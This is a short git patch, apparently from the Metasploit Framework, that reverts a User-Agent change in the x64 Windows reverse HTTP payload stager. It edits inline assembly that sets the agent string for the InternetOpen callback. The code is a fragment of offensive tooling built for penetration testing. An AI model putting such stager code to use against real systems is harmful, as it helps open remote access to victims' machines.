From add8a7b0076aa7f264a7bd2489f52294c3bf21fe Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 16 Dec 2024 11:19:51 +0100 Subject: [PATCH] Revert "Landing #19725, fixed incorrect processing of HTTP User Agent parameter in x64 reverse HTTP payload (Windows)" This reverts commit ebf73798a889bed4a249bc2e3ae12893f742e37a, reversing changes made to 50b12596a635e2dc0d12189baed6441d54db15f0. --- .../payload/windows/x64/reverse_http_x64.rb | 17 ++--------------- 1 file changed, 2 insertions(+), 15 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_http_x64.rb b/lib/msf/core/payload/windows/x64/reverse_http_x64.rb index d6ddf74b7cb6..21e87d26efef 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http_x64.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http_x64.rb @@ -62,7 +62,7 @@ def generate(opts={}) # Otherwise default to small URIs conf[:url] = luri + generate_small_uri end - + generate_reverse_http(conf) end @@ -168,7 +168,6 @@ def asm_generate_ascii_array(str) # @option opts [String] :url The URI to request during staging # @option opts [String] :host The host to connect to # @option opts [Integer] :port The port to connect to - # @option opts [String] :ua The User Agent the payload will use # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh # @option opts [String] :proxy_host The optional proxy server host to use # @option opts [Integer] :proxy_port The optional proxy server port to use @@ -246,21 +245,9 @@ def asm_reverse_http(opts={}) internetopen: push rbx ; stack alignment push rbx ; NULL pointer + mov rcx, rsp ; lpszAgent ("") ^ - if opts[:ua] - asm << %Q^ - call load_useragent - db"#{opts[:ua]}", 0x00 - load_useragent: - pop rcx ; lpszAgent (stack pointer) - ^ - else - asm << %Q^ - mov rcx, rsp ; lpszAgent("") - ^ - end - if proxy_enabled asm << %Q^ push 3